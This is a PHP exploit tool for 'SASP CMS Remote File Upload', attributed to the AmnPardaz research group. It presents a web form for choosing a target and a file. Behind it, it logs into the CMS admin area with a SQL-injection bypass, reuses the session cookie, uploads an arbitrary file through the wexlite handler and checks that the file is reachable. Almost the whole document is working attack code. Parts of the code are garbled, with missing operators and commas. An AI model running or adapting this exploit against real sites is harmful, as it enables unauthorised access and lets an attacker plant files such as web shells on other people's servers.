<?php
########################## WwW.BugReport.ir ######################################
#
#      AmnPardaz Security Research & Penetration Testing Group
#
# Title: SASP CMS Remote File Upload
# Original Advisory: http://www.bugreport.ir/index_64.htm
##################################################################################

error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout"5);
ob_implicit_flush (1);

echo
'<html>
<head>
<title>SASPCMS Remote File Upload</title>
</head>

<body bgcolor="#00000">

<p align="center"><font size="4" color="white">SASPCMS Remote File Upload</font></p>
</font>
<table width="90%">
  <tbody>
    <tr>
      <td width="43%" align="left">
        <form name="form1" action="'
.$SERVER[PHP_SELF].'" enctype="multipart/form-data"  method="post">
          <p></font><font color="white" > hostname (ex:www.sitename.com):    </font><input name="host" size="20"> <span class="Stile5"><font color="#FF0000">*</span></p>
          <p></font><font color="white" > path (ex: /saspcms/ or just / ):            </font><input name="path" size="20"> <span class="Stile5"><font color="#FF0000">*</span></p>
          <p></font><font color="white" >Please specify a file to upload:           </font><input type="file" name="datafile" size="40"><font color="#FF0000"> * </font>
          <p><font color="white" >  specify a port (default is 80):             </font><input name="port" size="20"><span class="Stile5"></span></p>
          <p><font color="white" >  Proxy (ip:port):                                 </font><input name="proxy" size="20"><span class="Stile5"></span></p>
          <p align="center"> <span class="Stile5"><font color="#FF0000">* </font><font color="white" >fields are required</font></font></span></p>
          <p><input type="submit" value="Start" name="Submit"></p>
        </form>
      </td>
    </tr>
  </tbody>
</table>
</body></html>'
;

function 
sendpacket($packet,$response 0,$output 0)
{
    
$proxy_regex '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
    global 
$proxy$host$port$html;
    if (
$proxy == '')
    {
        
$ock fsockopen($host,$port);
        if (!
$ock)
        {
            
$off 1;
            echo 
'<font color=white> No response from '.htmlentities($host).' ...<br></font>';
            die;
        }
    } else
    {
        
$parts explode(':',$proxy);
        echo 
'<font color=white>Connecting to '.$parts[0].':'.$parts[1].' proxy...<br></font>';
        
$ock   fsockopen($parts[0],$parts[1]);
        if (!
$ock
        {
            echo 
'<font color=white>No response from proxy...<br></font>';
            die;
        }
    }
    if(
$off == 1)
    {}else
    {
        
fputs($ock,$packet);
        if (
$response == 1)
        {
            if (
$proxy == '')
            {
                
$html '';
                while (!
feof($ock))
                {
                    
$html .= fgets($ock);
                }
            } else
            {
                
$html '';
                while ((!
feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html)))
                {
                    
$html .= fread($ock,1);
                }
            }
        } else 
$html '';
        
fclose($ock);
        if (
$response == && $output == 1) echo nl2br(htmlentities($html));
    }
}

  
$host   $_POST['host'];
  
$path   $_POST['path'];
  
$port   $_POST['port'];
    
if (isset(
$_POST['Submit']) && $host != '' && $path != '')
{
  
  
$port=intval(trim($port));
  if (
$port=='') {$port=80;}
  if ((
$path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {die('<font color=white>Error... check the path!</font>');}
  if (
$proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}
  
$host=str_replace("\r\n","",$host);
  
$path=str_replace("\r\n","",$path);
  
  
// login to the admin area
  
$query   "SAspCms=%27+or+%27%27%3D%27";
  
$packet  "POST ".$p."admin/admin.asp HTTP/1.1\r\n";
  
$packet .= "Host: ".$host."\r\n";
  
$packet .= "Content-Type: application/x-www-form-urlencoded\r\n";
  
$packet .= "Cache-Control: no-cache\r\n";
  
$packet .= "Content-Length: ".strlen($query)."\r\n";
  
$packet .= "Connection: Close\r\n\r\n";
  
$packet .= $query;
  
  
sendpacket($packet,1,0);
  if(
stristr($html 'Set-Cookie: ASPSESSIONID') == true)
  {
      
$pattern      "(ASPSESSIONID[A-Z]{8}=[A-Z]{24})";
      
$cookie_name  = (preg_match($pattern$html$matches)) ? $matches[0] : '';
  }
  
  
// Upload File
  
$content file_get_contents($_FILES['datafile']['tmp_name']);
  
$name    rand().$_FILES['datafile']['name'];
  
$type    $_FILES['datafile']['type'];
  
$data    "-----------------------------7d51143b10418\r\n";
  
$data   .= "Content-Disposition: form-data; name=\"file\"; filename=\"$name\"\r\n";
  
$data   .= "Content-Type: ".$type."\r\n\r\n";
  
$data   .= "$content\r\n";
  
$data   .= "-----------------------------7d51143b10418--";
  
$packet  "POST ".$p."wexlite/default.asp?precommand=ProcessUpload&folder=userfiles%5C&popup=true HTTP/1.1\r\n";
  
$packet .= "Content-Type: multipart/form-data; boundary=---------------------------7d51143b10418\r\n";
  
$packet .= "User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)\r\n";
  
$packet .= "Host: ".$host."\r\n";
  
$packet .= "Cookie: $cookie_name\r\n";
  
$packet .= "Cache-Control: no-cache\r\n";
  
$packet .= "Content-Length: ".strlen($data)."\r\n";
  
$packet .= "Connection: Close\r\n\r\n";
  
$packet .= $data;  
  
sendpacket($packet,1,0);
  
  
$packet  "GET ".$p."userfiles/$name HTTP/1.1\r\n";
  
$packet .= "Host: ".$host."\r\n";
  
$packet .= "User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)\r\n";
  
$packet .= "Cache-Control: no-cache\r\n";
  
$packet .= "Connection: Close\r\n\r\n";
  
sendpacket($packet,1,0);
  
  if(
stristr($html '200 OK') != true)
  {echo 
"<font color=white>Exploit Faild...</font>";} else echo "<font color=white>Exploit Succeeded...<br>http://$host:$port$path"."userfiles/$name</font>";
}
?>